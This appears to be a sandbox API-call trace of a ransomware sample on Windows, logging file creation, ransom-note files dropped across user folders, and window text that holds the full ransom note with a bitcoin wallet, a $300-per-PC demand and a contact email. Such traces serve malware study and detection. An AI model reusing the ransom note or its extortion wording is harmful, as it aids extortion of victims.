[0124.388] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0124.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb720) returned 1
[0124.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x5c
[0124.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-", nBufferLength=0x105, lpBuffer=0x2eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-", lpFilePart=0x0) returned 0x39
[0124.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebe60) returned 1
[0124.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-", nBufferLength=0x105, lpBuffer=0x2eb950, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-", lpFilePart=0x0) returned 0x39
[0124.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x5c
[0124.391] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0124.391] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2ebb00 | out: lpFindFileData=0x2ebb00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0124.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebdb0) returned 1
[0124.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd70) returned 1
[0124.393] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x4e
[0124.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb90) returned 1
[0124.393] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0124.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebb00) returned 1
[0124.396] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x4e
[0124.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd30) returned 1
[0124.396] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0124.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebca0) returned 1
[0124.494] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ec1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0124.494] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\!please read me!.txt.down_with_usa")) returned 0
[0124.495] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ec1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x46
[0124.495] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\!please read me!.txt.down_with_usa")) returned 0
[0124.495] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ec1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x49
[0124.495] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\!please read me!.txt.down_with_usa")) returned 0
[0124.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ec1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0124.497] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\!please read me!.txt.down_with_usa")) returned 0
[0124.497] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ec1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x4a
[0124.497] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\!please read me!.txt.down_with_usa")) returned 0
[0124.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ec1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x4a
[0124.498] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\!please read me!.txt.down_with_usa")) returned 0
[0124.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ec1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x49
[0124.498] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\!please read me!.txt.down_with_usa")) returned 0
[0124.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ec1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x46
[0124.499] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\!please read me!.txt.down_with_usa")) returned 1
[0124.501] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\OneDrive\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ec1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\OneDrive\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x49
[0124.501] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\OneDrive\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\onedrive\\!please read me!.txt.down_with_usa")) returned 0
[0124.509] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ec1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x4c
[0124.509] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\!please read me!.txt.down_with_usa")) returned 0
[0124.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ec1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x4a
[0124.510] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\!please read me!.txt.down_with_usa")) returned 0
[0124.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ec1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x49
[0124.510] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\!please read me!.txt.down_with_usa")) returned 0
[0124.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ec1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x47
[0124.511] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\!please read me!.txt.down_with_usa")) returned 1
[0124.512] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ec1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x4a
[0124.512] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\!please read me!.txt.down_with_usa")) returned 0
[0124.518] GetWindowTextLengthW (hWnd=0x2027e) returned 2
[0124.520] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0124.520] GetSystemMetrics (nIndex=42) returned 0
[0124.521] GetWindowTextW (in: hWnd=0x2027e, lpString=0x2ed970, nMaxCount=3 | out: lpString=" ") returned 2
[0124.521] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xd, wParam=0x3, lParam=0x2ed970) returned 0x2
[0124.521] GetWindowTextLengthW (hWnd=0x2027e) returned 2
[0124.521] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0124.521] GetSystemMetrics (nIndex=42) returned 0
[0124.521] GetWindowTextW (in: hWnd=0x2027e, lpString=0x2ed8f0, nMaxCount=3 | out: lpString=" ") returned 2
[0124.521] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xd, wParam=0x3, lParam=0x2ed8f0) returned 0x2
[0124.521] GetWindowTextLengthW (hWnd=0x2027e) returned 2
[0124.521] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0124.521] GetSystemMetrics (nIndex=42) returned 0
[0124.521] GetWindowTextW (in: hWnd=0x2027e, lpString=0x2ed8d0, nMaxCount=3 | out: lpString=" ") returned 2
[0124.521] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xd, wParam=0x3, lParam=0x2ed8d0) returned 0x2
[0124.521] GetWindowTextLengthW (hWnd=0x2027e) returned 2
[0124.521] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0124.522] GetSystemMetrics (nIndex=42) returned 0
[0124.522] GetWindowTextW (in: hWnd=0x2027e, lpString=0x2ed870, nMaxCount=3 | out: lpString=" ") returned 2
[0124.522] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xd, wParam=0x3, lParam=0x2ed870) returned 0x2
[0124.522] SetWindowTextW (hWnd=0x2027e, lpString="SZg+EkrnJANzk++5Lg3gX3ActUFSNxkUboH7QUcqkCSPOhklgyhoCLtXI2IWjrt5ypCu0jdJd8NW+eGrTy0O01Kuq+1dezPw6+1LCpAdziNogZL2z7xepsgnwXV+IXSDaLQQ/ttnv52fhco4oIToo1CpJxHgeW6IrACq5zQLHUo=") returned 1
[0124.522] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xc, wParam=0x0, lParam=0x25c9224) returned 0x1
[0124.524] SendMessageW (hWnd=0x2027e, Msg=0x2111, wParam=0x400027e, lParam=0x2027e) returned 0x0
[0124.524] SendMessageW (hWnd=0x2027e, Msg=0x2111, wParam=0x300027e, lParam=0x2027e) returned 0x0
[0124.524] SendMessageW (hWnd=0x2027e, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x1
[0124.524] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x1
[0124.739] GetWindowTextLengthW (hWnd=0x102b2) returned 1377
[0124.739] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x102b2, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x561
[0124.740] GetSystemMetrics (nIndex=42) returned 0
[0124.740] CoTaskMemAlloc (cb=0xac8) returned 0x1acb09c0
[0124.740] GetWindowTextW (in: hWnd=0x102b2, lpString=0x1acb09c0, nMaxCount=1378 | out: lpString=" ------------- Oops,Your Network have been infected!------------- \r\n \r\nDear Admin All files on the network have been attacked and encrypted with a strong encryption algorithms. RSA 2048 and AES-256. \r\n \r\nAll your files, documents, photos, databases and other important files are encrypted by a strong encryption. \r\n \r\nDon't worry, you can return all your files!\r\n \r\nWe are the only ones who can decrypt your files Through the unique key.\r\n \r\nwhat should I do for decrypting my files?\r\n \r\nIf you want to recover your files, you must purchase a the unique key You must pay 300$ bitcoin to wallet : 3JFgm9SMRxSP9YWPZiSCsezXvWZS5aTsaR\r\n\r\nfor each affected pc or 1000$ to receive all pc affected your network.\r\n \r\nDO NOT RESET OR SHUTDOWN - files may be damaged. \r\n \r\nDO NOT RENAME the encrypted files. \r\n \r\nDO NOT MOVE the encrypted files.\r\n\r\nThis may lead to the impossibility of recovery of the certain files.\r\n \r\nAs proof you can email us 3 files to decrypt and we will send you the recover files to prove that we can decrypt your files.\r\n\r\nAttempts to restore your data with third party software as Rakhni Decryptor etc.\r\n\r\nwill lead to irreversible destruction of your data.\r\n\r\nTo get this software you need write on our e-mail: recoverydata28@firemail.de \r\n") returned 1377
[0124.740] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x102b2, Msg=0xd, wParam=0x562, lParam=0x1acb09c0) returned 0x561
[0124.740] CoTaskMemFree (pv=0x1acb09c0)
[0124.740] GetWindowTextLengthW (hWnd=0x102b2) returned 1377
[0124.740] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x102b2, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x561
[0124.740] GetSystemMetrics (nIndex=42) returned 0
[0124.740] CoTaskMemAlloc (cb=0xac8) returned 0x1acb09c0
[0124.740] GetWindowTextW (in: hWnd=0x102b2, lpString=0x1acb09c0, nMaxCount=1378 | out: lpString=" ------------- Oops,Your Network have been infected!------------- \r\n \r\nDear Admin All files on the network have been attacked and encrypted with a strong encryption algorithms. RSA 2048 and AES-256. \r\n \r\nAll your files, documents, photos, databases and other important files are encrypted by a strong encryption. \r\n \r\nDon't worry, you can return all your files!\r\n \r\nWe are the only ones who can decrypt your files Through the unique key.\r\n \r\nwhat should I do for decrypting my files?\r\n \r\nIf you want to recover your files, you must purchase a the unique key You must pay 300$ bitcoin to wallet : 3JFgm9SMRxSP9YWPZiSCsezXvWZS5aTsaR\r\n\r\nfor each affected pc or 1000$ to receive all pc affected your network.\r\n \r\nDO NOT RESET OR SHUTDOWN - files may be damaged. \r\n \r\nDO NOT RENAME the encrypted files. \r\n \r\nDO NOT MOVE the encrypted files.\r\n\r\nThis may lead to the impossibility of recovery of the certain files.\r\n \r\nAs proof you can email us 3 files to decrypt and we will send you the recover files to prove that we can decrypt your files.\r\n\r\nAttempts to restore your data with third party software as Rakhni Decryptor etc.\r\n\r\nwill lead to irreversible destruction of your data.\r\n\r\nTo get this software you need write on our e-mail: recoverydata28@firemail.de \r\n") returned 1377
[0124.741] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x102b2, Msg=0xd, wParam=0x562, lParam=0x1acb09c0) returned 0x561
[0124.741] CoTaskMemFree (pv=0x1acb09c0)
[0124.768] CoTaskMemAlloc (cb=0x20c) returned 0x1ac1a6a0
[0124.768] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1ac1a6a0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x0
[0124.769] CoTaskMemFree (pv=0x1ac1a6a0)
[0124.769] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ec980, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0124.769] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0124.771] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0124.771] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0124.771] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x2ecb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d
[0124.771] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0124.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf50) returned 1
[0124.771] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x2ed030 | out: lpFileInformation=0x2ed030*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x20dae240, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x20dae240, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0124.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ecf10) returned 1
[0124.771] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0124.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf40) returned 1
[0124.772] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x2ed020 | out: lpFileInformation=0x2ed020*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x20dae240, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x20dae240, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0124.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ecf00) returned 1
[0124.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf60) returned 1
[0124.773] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x2eca50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d
[0124.773] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ec9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0124.773] GetFullPathNameW (in: lpFileName="Desktop", nBufferLength=0x105, lpBuffer=0x2ec9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Desktop", lpFilePart=0x0) returned 0x2d
[0124.774] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x2ecc00 | out: lpFindFileData=0x2ecc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x20dae240, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x20dae240, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x1ac18730
[0124.780] FindNextFileW (in: hFindFile=0x1ac18730, lpFindFileData=0x2ecc50 | out: lpFindFileData=0x2ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0124.780] FindClose (in: hFindFile=0x1ac18730 | out: hFindFile=0x1ac18730) returned 1
[0124.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eceb0) returned 1
[0124.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece70) returned 1
[0124.781] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x2ec970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0124.782] GetWindowTextLengthW (hWnd=0x2027e) returned 172
[0124.782] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xac
[0124.782] GetSystemMetrics (nIndex=42) returned 0
